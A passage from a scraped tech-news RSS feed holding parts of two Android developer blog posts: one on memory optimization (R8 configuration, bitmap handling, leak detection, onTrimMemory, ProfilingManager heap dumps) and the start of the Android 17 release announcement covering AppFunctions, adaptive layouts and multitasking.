    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB61hi7-o6RYAHNOoIg1egyi6iU3iGtLbwfOb-s6r_PadBV2LZzvYtcdD00iwcApjnqmwOssOLFSHv8MG_es8WJWaJUPaO6rMY4ZcINSBFROo_1Di3LVMvIEhPldpzQsUOxV1Z7VfPwvej2fa9a7yCNwBdGOGw2LMLtPrCST6InlqF1xHds30rS76C9no/s2500/pic1-IO26_113_TSV-monzo-casestudy.jpg">
        <img border="0" data-original-height="1406" data-original-width="2500" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhB61hi7-o6RYAHNOoIg1egyi6iU3iGtLbwfOb-s6r_PadBV2LZzvYtcdD00iwcApjnqmwOssOLFSHv8MG_es8WJWaJUPaO6rMY4ZcINSBFROo_1Di3LVMvIEhPldpzQsUOxV1Z7VfPwvej2fa9a7yCNwBdGOGw2LMLtPrCST6InlqF1xHds30rS76C9no/s16000/pic1-IO26_113_TSV-monzo-casestudy.jpg">
    </a>
</div>
<div>
    <i>The digital bank <a href="https://developer.android.com/blog/posts/monzo-boosts-performance-metrics-by-up-to-35-with-a-simple-r8-update" target="_blank">Monzo</a> enabled full R8 optimization and boosted performance metrics by up to 35%.</i>
</div>

<div>
    <p>To properly configure R8 in your <code>build.gradle</code> file:</p>
    <ul>
        <li>Set <code>isShrinkResources = true</code> and <code>isMinifyEnabled = true</code>.</li>
        <li>Use <code>proguard-android-optimize.txt</code> instead of the legacy <code>proguard-android.txt</code>, which actually prevents optimizations and is no longer supported in Android Gradle Plugin 9.</li>
        <li>Remove <code>android.enableR8.fullMode = false</code> from your <code>gradle.properties</code>.</li>
    </ul>
    
    <p>
        If you are using reflection in your code base, then add <a href="https://developer.android.com/topic/performance/app-optimization/keep-rules-overview#where-to-add-rules" target="_blank">Keep rules</a> to prevent R8 from optimizing those parts of the code. Make sure to scope the keep rules narrowly to get the maximum optimization.
    </p>
    <p>To get the maximum optimization, make sure to follow these best practices in your keep rule file.</p>
    
    <ul>
        <li>Remove global options like <code>-dontoptimize</code>, <code>-dontshrink</code>, and <code>-dontobfuscate</code> that prevent R8 from optimizing the entire codebase </li>
        <li>Remove keep rules that prevent optimizing Android components like Activity, Services, Views or Broadcast receivers.</li>
        <li>Refine the broad package wide keep rules to target only specific classes or methods.</li>
    </ul>
    
    <p>To see more best practices, view our <a href="https://developer.android.com/topic/performance/app-optimization/keep-rules-best-practices" target="_blank">keep rules documentation</a>.</p>
    
    <h3>Library Developer R8 Best Practices</h3>
    <p>If you are a library developer, strictly place the rules your consumers need into your <code>consumer-rules</code> file, and keep your library's internal protection rules in your <code>proguard-rules.pro</code> file. For more information on how to optimize libraries, see <a href="https://developer.android.com/topic/performance/app-optimization/library-optimization" target="_blank">Optimization for library authors</a>.</p>
    
    <h3>R8 Configuration Analyzer</h3>
    <p>To audit your R8 optimization, use the <b><a href="http://developer.android.com/r8-analyzer" target="_blank">Configuration Analyzer</a></b>. Configuration analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores. With configuration analyzer, you can also understand how many classes, methods or fields are prevented from optimization by each keep rule. Refine these broad package wide keep rules to unlock the maximum optimization.</p>
    <p>Using configuration analyzer, you can also identify keep rules that are subsuming other keep rules, redundant keep rules and unused keep rules.</p>
</div>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib0dTmk8w7EYsDiV0Ufd8CAnpWz36-ZDC_gCGFkS_0CGz0axCxOy3RBxuaOoUbR4kzaeFBXryfSR2rkxRsmTXNrPtuJw8n1DTiZiKDqHjv3AaEXteE9TKV3QxYtwCztvY-8a0GpBlOZhVV1p0ftgdxeiKGGnO3dLu_IOt-TB_7j-ZnbR2jSr_CNYzh-bc/s2048/pic2-r8-config-analyzer.png">
        <img border="0" data-original-height="1156" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEib0dTmk8w7EYsDiV0Ufd8CAnpWz36-ZDC_gCGFkS_0CGz0axCxOy3RBxuaOoUbR4kzaeFBXryfSR2rkxRsmTXNrPtuJw8n1DTiZiKDqHjv3AaEXteE9TKV3QxYtwCztvY-8a0GpBlOZhVV1p0ftgdxeiKGGnO3dLu_IOt-TB_7j-ZnbR2jSr_CNYzh-bc/s16000/pic2-r8-config-analyzer.png">
    </a>
</div>
<div>
    <i>The Configuration Analyzer shows the current state of optimization with Obfuscation, Optimization, and Shrinking scores.</i>
</div>

<div>
    <h4><span>R8 Agent Skill </span></h4>
    <p>You can also leverage the <b><a href="https://github.com/android/skills/tree/main/performance/r8-analyzer" target="_blank">R8 Agent Skill</a></b> with Android Studio agent or other AI tools to resolve misconfigurations and refine your rules resulting in improved app performance. <i>(Insights from AI-driven skills will require technical verification)</i></p>
</div>

<h3>Optimize image loading</h3>
<div>
    <p>Bitmaps are usually the largest common objects residing in your app's memory. They represent the final stage of the image loading process where compressed files, like JPEGs or PNGs, are decoded into raw pixel data for display. This means a tiny 100KB compressed image can balloon into several megabytes of RAM because memory consumption is determined by the image's pixel dimensions and color depth. Since bitmap operations are frequently on the critical path to drawing frames, unoptimized images cause severe memory bloat and UI jank.</p>
    <p>Google recommends leveraging image loading libraries <b><a href="https://github.com/coil-kt/coil" target="_blank">Coil</a></b> for Kotlin-first projects, particularly when developing with Jetpack Compose and <b><a href="https://github.com/bumptech/glide" target="_blank">Glide</a></b> for Java-based applications.</p>
    
    <h4><span>Adopt these five best practices</span></h4>
    <ol>
        <li><b>Downsample images:</b> If you’re loading bitmaps manually, avoid loading a massive image into a tiny thumbnail view; use <a href="https://developer.android.com/topic/performance/graphics/load-bitmap" target="_blank">inSampleSize</a> to load a smaller version. Glide and Coil downsamples images by default and you can configure this downsample strategy using <a href="https://bumptech.github.io/glide/javadocs/470/com/bumptech/glide/load/resource/bitmap/DownsampleStrategy.html" target="_blank">DownsampleStrategy</a> and <a href="https://coil-kt.github.io/coil/image_loaders/" target="_blank">ImageLoader</a> respectively.</li>
        <li><b>Cropping:</b> Avoid embedding padding directly into an image file for letterboxing purposes (e.g., creating a transparent border to expand an image dimensions). Rather than baking in these borders, utilize <a href="https://developer.android.com/reference/android/graphics/drawable/InsetDrawable" target="_blank">InsetDrawable</a> or apply padding directly within the View or Composable containing the bitmap.</li>
        <li><b>Config:</b> Balance memory and quality by choosing the right pixel format. Use <code>RGB_565</code> when transparency isn't needed, which uses half the memory of the default <code>ARGB_8888</code> format. In Glide you can configure this by using <a href="https://bumptech.github.io/glide/javadocs/470/com/bumptech/glide/load/DecodeFormat.html" target="_blank">DecodeFormat</a> and in Coil you can use <a href="https://coil-kt.github.io/coil/api/coil-core/coil3.request/-image-request/" target="_blank">bitmapConfig</a> property.</li>
        <li><b>Prioritize vector drawables:</b> For basic geometric assets, leverage <a href="https://developer.android.com/reference/android/graphics/drawable/ShapeDrawable" target="_blank">ShapeDrawable</a> as a lightweight alternative to decoding rasterized bitmaps. By defining these assets once via XML, you ensure they scale seamlessly across all display densities while effectively eliminating resource-driven memory bloat.</li>
        <li><b>Reuse:</b> If your application manages Bitmaps manually then to minimize memory churn, when a bitmap is no longer required, the app should call <code>bitmap.recycle()</code> and immediately discard the Bitmap reference. If you use an image loading library like Glide or Coil, return the bitmap to the library’s managed pool. By providing an existing buffer for future memory needs, the pool effectively avoids the overhead of new allocations.</li>
    </ol>
    
    <p>Check out our documentation on <a href="https://developer.android.com/develop/ui/compose/graphics/images/optimization" target="_blank">Optimizing performance for images</a> to learn more.</p>
    
    <h4><span>Android Studio tooling</span></h4>
    <p>You can also eliminate redundant bitmaps using Android Studio Narwhal 4. Here is how to hunt them down in five simple steps:</p>
    <ol>
        <li>Open the <b>Profiler</b> tab in Android Studio</li>
        <li>Click <b>Heap Dump</b> (or "Analyze Memory Usage") and hit record to take a snapshot of your app’s current memory state.</li>
        <li>Scan the analysis results for the <b>yellow warning triangle</b> ⚠️, which Android Studio uses to flag duplicate bitmaps being stored multiple times. Alternatively, navigate to the profiler header, choose "Filter by:" and pick the "Duplicate Bitmaps" setting.</li>
        <li>Click on any flagged entry to open the <b>Bitmap Preview</b> pane, allowing you to see exactly which image is the repeat offender.</li>
        <li>Use that visual confirmation to track down the redundant loading logic in your code and implement a better caching strategy.</li>
    </ol>
</div>

<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDJ6djtozFY7DzrGB-EN8ajLVueF9MdLd4mod4jhtO8YwCzU7ObOwQ2w0Bap5A5NHJ7KVnXIRQqhW8cTdcFhMJPw5FIW1WU7D_Mwm-UC9Fsdr-MOn62xijpjKcS0NeUBnO957jmogGEISNQgeZQk3BVvUWK4BknTjLiuK2TbWCqwO3uTLkjkFhLwJre7w/s2379/pic3-IO26_113_TSV%20-dup-bitmaps-cropped.jpg"><img border="0" data-original-height="1162" data-original-width="2379" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDJ6djtozFY7DzrGB-EN8ajLVueF9MdLd4mod4jhtO8YwCzU7ObOwQ2w0Bap5A5NHJ7KVnXIRQqhW8cTdcFhMJPw5FIW1WU7D_Mwm-UC9Fsdr-MOn62xijpjKcS0NeUBnO957jmogGEISNQgeZQk3BVvUWK4BknTjLiuK2TbWCqwO3uTLkjkFhLwJre7w/s16000/pic3-IO26_113_TSV%20-dup-bitmaps-cropped.jpg"></a></div><div class="separator"><i>Look for the yellow warning triangle ⚠️ in heap dumps when using the Android Studio Profiler.</i></div>

<h3>Detect and fix memory leaks with Android Studio</h3>
<p>Memory leaks in Android occur when your code holds onto an object's reference long after its lifecycle has ended. This prevents the Garbage Collector (GC) from reclaiming that memory, eventually leading to sluggish performance or OutOfMemoryError (OOM).</p>
<p>Android Studio Panda 3 features a dedicated <a href="https://square.github.io/leakcanary/" target="_blank">LeakCanary</a> profiler task, allowing developers to analyze real-time memory leaks and map traces within the IDE.</p>
<p>The LeakCanary profiler task in Android Studio actively moves the memory leak analysis from your device to your development machine, resulting in a significant performance boost during the leak analysis phase as compared to on-device leak analysis.</p>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKBixtkwy1hzwA6mikjRX_6vBJ9OQ_RCYdF94HUF8kOLYzQoQrPMLh_6h9u6EGeLzgFc8yjxg3_8zlqWIDCvKa1py5gyxDXasl8JLPDHSEgPpzPyYqzcme69rRKtfIlhMtyNRWXutGXNy-4WcefhSTBhqBgobK678fqvNqL5peOz1UD6ouunLaKPmJCw0/s2048/pic4-android-studio-leaks.png">
        <img border="0" data-original-height="975" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjKBixtkwy1hzwA6mikjRX_6vBJ9OQ_RCYdF94HUF8kOLYzQoQrPMLh_6h9u6EGeLzgFc8yjxg3_8zlqWIDCvKa1py5gyxDXasl8JLPDHSEgPpzPyYqzcme69rRKtfIlhMtyNRWXutGXNy-4WcefhSTBhqBgobK678fqvNqL5peOz1UD6ouunLaKPmJCw0/s16000/pic4-android-studio-leaks.png">
    </a>
</div>
<div>
    <i>LeakCanary memory leak analysis contextualized with <b>Go to declaration</b> for debugging</i>
</div>

<p>Additionally, the leak analysis is now contextualized within the IDE and fully integrated with your source code, providing features like go to declaration and other helpful code connections that drastically reduce the friction and time required to investigate and fix memory leaks.</p>

<div>
    <h4><span>Examples of common memory leaks </span></h4>
    <p>Memory leaks occur when an object persists in memory beyond its intended lifespan. This typically happens due to:</p>
    <ul>
        <li>Retaining references to Fragments, Activities, or Views that are no longer in use.</li>
        <li>Mismanaging Context references.</li>
        <li>Failing to properly unregister observers, listeners, and receivers.</li>
        <li>Creating static references to objects that are bound to components with shorter lifecycles.</li>
    </ul>
    
    <p>Here are a few example scenarios:</p>
    
    <div align="left" dir="ltr">
        <table>
            <colgroup>
                <col>
                <col>
                <col>
            </colgroup>
            <tbody>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Scenario</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Compose-based example</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">View-based example</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Context</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Passing LocalContext.current to a ViewModel</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Keep <code>Context</code> dependent logic within the UI layer. For non-UI layers, refactor to use <a href="https://developer.android.com/training/dependency-injection">dependency injection</a> or observe UI state using <a href="https://developer.android.com/kotlin/flow">Kotlin flow</a>.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Storing an <code>Activity</code> in a companion object or static variable.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Don’t hold static references to UI components. Refactor to use <a href="https://developer.android.com/training/dependency-injection">dependency injection</a> or observe UI state using <a href="https://developer.android.com/kotlin/flow">Kotlin flow</a>.</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Listeners</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Using <code>DisposableEffect</code> to start a listener but leaving <code>onDispose</code> empty.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Perform the unregistration and <a href="https://developer.android.com/develop/ui/compose/side-effects#disposableeffect">cleanup logic</a> inside the <code>onDispose</code> block.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Registering for SensorManager updates and forgetting to unregister.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Manually call <code>unregisterListener()</code> in <code>onStop()</code> or <code>onDestroy()</code> lifecycle.</span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Leaking Views</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Holding a reference to a legacy <code>View</code> inside an <code>AndroidView</code> without a release strategy.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Use the <code>release</code> block of the <code>AndroidView</code> composable to clean up the legacy <code>View</code>.</span></p>
                    </td>
                    <td>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Example:</span><br><span face="'Google Sans',sans-serif">Keeping a reference to a view binding object after the <code>Fragment</code> is destroyed.</span></p>
                        <p dir="ltr"><span face="'Google Sans',sans-serif">Fix:</span><br><span face="'Google Sans',sans-serif">Set the binding variable to <code>null</code> inside the <code>onDestroyView</code>() lifecycle method.</span></p>
                    </td>
                </tr>
            </tbody>
        </table>
    </div>
</div>

<h3>Trim memory when app leaves visible state</h3>
<p>Android can reclaim memory from your app or stop your app entirely if necessary to free up memory for critical tasks, as explained in <a href="https://developer.android.com/topic/performance/memory-overview" target="_blank">Overview of memory management</a>. Android will usually reclaim memory from your app when it’s not visible to the user, such as by discarding some of your app’s code and data pages in memory or compressing your heap allocations. When the user resumes your app and your app tries to access some memory that’s been reclaimed, the OS will swap that memory back in on demand. This swapping behavior can be slow, and cause unexpected jank or stutters in your app.</p>
<p>If you leave it to the OS to decide what memory to reclaim from your app, you may find that the OS reclaimed memory that you’ll need shortly after resuming your app. Instead, your app can voluntarily discard memory allocations that it can regenerate later, on demand and at a low cost. To do so, you can implement the <code>ComponentCallbacks2</code> interface. You can implement <code>onTrimMemory</code> in your <code>Activity</code>, <code>Fragment</code>, <code>Service</code>, or even your custom <code>Application</code> class. Using it in the <code>Application</code> class is highly effective for global cache management.</p>
<p>The provided <a href="https://developer.android.com/reference/android/content/ComponentCallbacks2#onTrimMemory(int)" target="_blank">onTrimMemory()</a> callback method notifies your app of lifecycle or memory-related events that present a good opportunity for your app to voluntarily reduce its memory usage.</p>
<p>In terms of memory lifecycle management, your implementation should focus <b>exclusively</b> on <code>TRIM_MEMORY_UI_HIDDEN</code> and <code>TRIM_MEMORY_BACKGROUND</code>. Since Android 14, the system has ceased delivering notifications for other legacy constants, which were formally deprecated in Android 15.</p>
<p><code>TRIM_MEMORY_UI_HIDDEN</code>: This signal indicates that your application's UI has transitioned out of the user's view. This provides an opportunity to release substantial memory allocations tied strictly to the interface—such as Bitmaps, video playback buffers, or complex animation resources.</p>
<p><code>TRIM_MEMORY_BACKGROUND</code>: At this level, your process is residing in the background and is now a candidate for termination to satisfy the system's global memory needs. To extend the duration your process remains in the cached state, and reduce the number of app cold starts, you should aggressively release any resources that can be easily reconstructed once the user resumes their session.</p>

<pre><code>import android.content.ComponentCallbacks2
// Other import statements.

class MainActivity : AppCompatActivity(), ComponentCallbacks2 {

    /**
     * Release memory when the UI becomes hidden or when system resources become low.
     * @param level the memory-related event that is raised.
     */
    override fun onTrimMemory(level: Int) {

        if (level &gt;= ComponentCallbacks2.TRIM_MEMORY_UI_HIDDEN) {
            // Release memory related to UI elements, such as bitmap caches.
        }

        if (level &gt;= ComponentCallbacks2.TRIM_MEMORY_BACKGROUND) {
            // Release memory related to background processing, such as by
            // closing a database connection.
        }
    }
}</code></pre>

<p>Note: The <code>onTrimMemory</code> integration may depend on SDK support. For instance, certain games rely on their game engine to enable this capability. Please check out the <a href="https://developer.android.com/games/optimize/memory-allocation" target="_blank">game memory optimization documents</a>.</p>

<h3>Advanced memory observability with ProfilingManager</h3>
<p>To catch and diagnose memory issues in the field that cannot be reproduced locally, you should leverage the <b>ProfilingManager API</b>. Introduced in Android 15, this advanced observability API allows you to programmatically collect real-user Perfetto profiles.</p>
<p>For teams that lack a dedicated infrastructure to manage and host performance artifacts, Crashlytics is exploring a specialized solution to streamline this workflow. They are inviting developers to <a href="https://docs.google.com/forms/d/e/1FAIpQLSe299a_zSNDfa164z7yyqoDjS05ZDRN86bAQKajuAOFEQ4G-w/viewform" target="_blank">provide feedback</a>.</p>

<p><b>Android 17 introduces new event-driven triggers</b>, most notably <code>TRIGGER_TYPE_OOM</code> and <code>TRIGGER_TYPE_ANOMALY</code>:</p>
<ul>
    <li>The <b>OOM trigger</b> automatically collects a Java heap dump at the exact moment an OutOfMemoryError crash occurs, providing precise allocation states. A collected OOM profile is provided the next time the app starts and registers the <code>registerForAllProfilingResults</code> callback.</li>
    <li>The <b>Anomaly trigger</b> detects severe performance issues, such as excessive binder spam or breached memory thresholds. The memory anomaly delivers a heap dump just prior to the system terminating the app.</li>
</ul>

<pre><code>  val profilingManager = 
applicationContext.getSystemService(ProfilingManager::class.java)
    val triggers = ArrayList<profilingtrigger>()  


    triggers.add(ProfilingTrigger.Builder(
                 ProfilingTrigger.TRIGGER_TYPE_ANOMALY))
    val mainExecutor: Executor = Executors.newSingleThreadExecutor()
    val resultCallback = Consumer<profilingresult> { profilingResult -&gt;
        if (profilingResult.errorCode != ProfilingResult.ERROR_NONE) {
            // upload profile result to server for further analysis          
            setupProfileUploadWorker(profilingResult.resultFilePath)
        } 

    profilingManager.registerForAllProfilingResults(mainExecutor, resultCallback)
    profilingManager.addProfilingTriggers(triggers)</profilingresult></profilingtrigger></code></pre>

<p>
    Once you’ve collected the heap dump, you can download the profile from the server, or locally via adb pull and drag and drop the file into the <a href="http://ui.perfetto.dev/" target="_blank">Perfetto UI</a>. To streamline your memory debugging workflow, use the <a href="https://perfetto.dev/docs/visualization/heap-dump-explorer" target="_blank">Heap Dump Explorer</a>, this is the new default view for heap dumps in Perfetto UI. This tool provides an intuitive interface for inspecting Java heap dumps, allowing you to visualize object allocation hierarchies, compute retained memory sizes, and identify the shortest path from garbage collection root. By leveraging the Heap Dump Explorer, you can rapidly pinpoint memory leaks, bloated retained objects such as excessive bitmap allocations, and analyze heap object allocations all in one place.
</p>

<div class="separator">
    <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobASfyUbXdAYD_MOjREv7RUhCwoNJ9sB4QDSImRfA0UrALJqwQ2ovgAF7YRt3f26UeZoIQa-yDxiSDO84gxv1XkQ8acf8E795-IgAe4tl8AM_7m7nSEuj7t_rhtpgM3f-76_lEh-k7Rltku79-VCuIDN_2Q9DRjJyouCKbxg4pDXHV2yey7V8WlG2jQM/s2048/pic5-perfettoheapdump-analyzer.png">
        <img border="0" data-original-height="1039" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhobASfyUbXdAYD_MOjREv7RUhCwoNJ9sB4QDSImRfA0UrALJqwQ2ovgAF7YRt3f26UeZoIQa-yDxiSDO84gxv1XkQ8acf8E795-IgAe4tl8AM_7m7nSEuj7t_rhtpgM3f-76_lEh-k7Rltku79-VCuIDN_2Q9DRjJyouCKbxg4pDXHV2yey7V8WlG2jQM/s16000/pic5-perfettoheapdump-analyzer.png">
    </a>
</div>
<div>
    <i>Use the <a href="https://perfetto.dev/docs/visualization/heap-dump-explorer">Heap Dump Explorer</a>’s embedded flamegraph to visually inspect and navigate through objects with the highest heap allocations.</i>
</div>

<h3>Conclusion</h3>
<p>Optimizing bytecode with R8, adopting image loading best practices, and resolving memory leaks are critical steps toward delivering a high-quality user experience while managing resources effectively under pressure. Adopting these proactive measures helps maintain app stability and performance, preventing unexpected terminations while safeguarding user context. To further your performance expertise, explore our revised <a href="https://developer.android.com/topic/performance/memory" target="_blank">memory guidance</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Android 17 is here]]></title>
<description><![CDATA[Posted by Matthew McCullough, VP of Product Management, Android DeveloperToday we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.

Android 17 marks the start of our transition to an intelligence system,...]]></description>
<link>https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693505/android-tipps/android-17-is-here/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:36 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgV7zuuXjulHty999mGDWY1kfL8Q9SXjYYWn-7JTpMfVdNP78eb5fW9shOpvVdEqK0WnNp7AhdO0qc7pXAaqcfTwXgOGsfZyqcQv8wyD-9niWBpZuP6ZAPHBSetWenN2lMlRS5wi2d71-n8RCYqrLsFhUCEvM7KeoGLnNaDbiyOZQ0vvyr0O580nXK4Vas/s2048/Metadata%20-%20Static.png"><div><i>Posted by Matthew McCullough, VP of Product Management, Android Developer</i></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5KPJZylMSUXRpKFRUd6oM4fNdEoDRdJzdkzg69P_BVUuIDtXqCqTid6hGH40CoHRw7-f50HsT6rISArklGH982MM4K1jKU16SSymes4JPoE4qOZ5s1lLnkbInpUpdJGu5erAYmSgiefzkkOX_ng3AUJKOzzwC1WMTjk2DxLNia8R1C-ErWc7jT4VP8ew/s4209/Blogger%20Hero%20-%20White.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5KPJZylMSUXRpKFRUd6oM4fNdEoDRdJzdkzg69P_BVUuIDtXqCqTid6hGH40CoHRw7-f50HsT6rISArklGH982MM4K1jKU16SSymes4JPoE4qOZ5s1lLnkbInpUpdJGu5erAYmSgiefzkkOX_ng3AUJKOzzwC1WMTjk2DxLNia8R1C-ErWc7jT4VP8ew/s16000/Blogger%20Hero%20-%20White.png"></a></div><br><p><br></p><p>Today we're releasing Android 17 and making it available on most supported Pixel devices. Look for new devices running Android 17 in the coming months.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjaHGBWXu3yvdXZ-wYQgN6DjN5TEMRIYDJvQDZTOybRZFWsAMhqhl14b9UZmrlXlEIRDioqRc8m3xRjOnQHJPoICkVpCho4qrmKihPbu_SB7dGVNKwlAaX6eWdjLF4VUdGyzGfxtW0ziFggj63e778VVo38qpMKar4E1wuw0MiPCBvBdrTTXCgI1XD04Q/s1080/AfD-Android-17.gif"><img border="0" data-original-height="1080" data-original-width="1080" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjaHGBWXu3yvdXZ-wYQgN6DjN5TEMRIYDJvQDZTOybRZFWsAMhqhl14b9UZmrlXlEIRDioqRc8m3xRjOnQHJPoICkVpCho4qrmKihPbu_SB7dGVNKwlAaX6eWdjLF4VUdGyzGfxtW0ziFggj63e778VVo38qpMKar4E1wuw0MiPCBvBdrTTXCgI1XD04Q/s320/AfD-Android-17.gif" width="320"></a></div>

<p>Android 17 marks the start of our transition to an intelligence system, putting your apps at the center. It's shifting to an adaptive-first development standard by introducing mandatory large-screen resizability, all while delivering next-generation privacy, security, media, camera, and performance. We'll cover all that in this post, as well as how we're bringing together next generation tools, libraries, and agent skills to help your apps embrace the opportunity.</p>

<p>Throughout the past year, from our Canary channel to our Beta releases, we’ve collaborated with you in the developer community to build a platform you and your users can trust. To that end, this moment marks the availability of the source code at the <a href="https://source.android.com/">Android Open Source Project</a> (AOSP). This allows you to <a href="https://cs.android.com/">examine the source code</a> for a deeper understanding of how Android works.</p>

<p>Let's dive deeper into Android 17.</p>

<h3>An intelligence system</h3>

<p>With deep integration between hardware, software and AI, we’re transforming Android from an operating system to an intelligence system. It's about delivering new helpful experiences that anticipate user needs, and it brings more opportunities for engagement with your apps. To that end, Android 17 expands the capabilities of AppFunctions, a platform API with a corresponding Jetpack library. It allows you to contribute your app's unique capabilities as orchestratable "tools" for Android MCP, the on-device equivalent of the <a href="https://modelcontextprotocol.io/">Model Context Protocol</a>. AI agents and assistants (like Google Gemini) can discover and execute AppFunctions to perform workflows on behalf of the user with direct access to the app's local state.</p>

<p>The Jetpack library, currently in alpha, makes adding AppFunctions as easy as annotating a class and adding KDoc comments.</p>

<pre><code>/**
 * A note app's [AppFunction]s.
 */
class NoteFunctions(
    private val noteRepository: NoteRepository
) {
    /**
     * Adds a new note to the app.
     *
     * @param appFunctionContext The execution context.
     * @param title The title of the note.
     * @param content The note's content.
     */
    @AppFunction(isDescribedByKDoc = true)
    suspend fun createNote(
        appFunctionContext: AppFunctionContext,
        title: String,
        content: String
    ): Note {
        return noteRepository.createNote(title, content)
    }
}</code></pre>

<p>We’ve also launched an <a href="http://github.com/android/skills/tree/main/on-device/appfunctions">AppFunctions agent skill</a> that analyzes your app’s key workflows, automatically generates the required Kotlin code, optimizes your KDocs for LLM tool-calling, and provides ADB commands for testing and debugging.</p>

<p>The Gemini integration is currently in a private preview with trusted testers, but you can begin preparing your apps now. In addition to ADB commands to execute your AppFunctions, we've provided a <a href="http://github.com/android/appfunctions/releases/initial">test agent app</a> that includes an interface to discover and execute your app functions and simulate an AI agent integration. Join our integration early access program at <a href="http://goo.gle/eap-af">goo.gle/eap-af</a> for a chance to be among the first apps to deploy AppFunctions to production.</p>

<h3>Adaptive-first</h3>
<p>Your users no longer rely on a single form factor; they transition between phones, foldables, tablets, laptops, automotive displays, and immersive XR environments. Now, with over <a href="https://developer.android.com/blog/posts/adaptive-development-for-the-expanding-android-ecosystem">580 million large screen devices</a> in the hands of users and the <a href="https://blog.google/products-and-platforms/platforms/android/meet-googlebook/">forthcoming launch of Googlebooks</a>, the next generation of ChromeOS built on the Android stack, adaptive is no longer just a technical goal. It’s a massive opportunity to reach highly engaged users, which is one of the reasons we're shifting to an <a href="https://developer.android.com/adaptive-apps">adaptive-first development standard</a>.</p>

<h2>No resizability/orientation restrictions on large screens</h2>
<p>To ensure apps deliver a premium experience across all form factors, including mobile devices running in desktop mode on connected displays, Android 17 (API level 37) removes the developer opt-out for orientation and resizability restrictions on <a href="https://developer.android.com/guide/topics/large-screens">large screen devices</a> (sw &gt; 600 dp) for apps targeting API level 37. The system will ignore legacy manifest attributes and runtime APIs, including screenOrientation, setRequestedOrientation(), resizeableActivity=false, and aspect ratio constraints (minAspectRatio/maxAspectRatio). Games (based on <a href="https://support.google.com/googleplay/android-developer/answer/9859673?hl=en">app category</a> in Google Play) remain exempt. Your app must be ready to adapt to any window size, respect the user's preferred device posture, and support free-form windowing natively.</p>

<h2>Next-gen multitasking: App Bubbles, Bubble Bar, and desktop interactive PiP</h2>
<p>Android 17 introduces powerful new windowing capabilities that redefine how users multitask, demanding even greater layout flexibility from your apps:</p>
<ul>
    <li><strong>App Bubbles:</strong> Moving beyond the messaging bubbles API, users can now transform any app into a floating bubble by long-pressing its icon on the launcher. This feature is available across phones, foldables, and tablets, enabling lightweight multitasking for any workflow.</li>
    <li><strong>The Bubble Bar:</strong> On large screens (tablets and foldables), the system taskbar now includes a dedicated Bubble Bar to organize, transition between, and dock these floating app bubbles.</li>
    <li><strong>Desktop interactive PiP:</strong> In desktop environments, Android 17 introduces interactive Picture-in-Picture (PiP). Unlike traditional PiP windows which are read-only, these pinned windows remain fully interactive while staying always-on-top of other application windows.</li>
</ul>

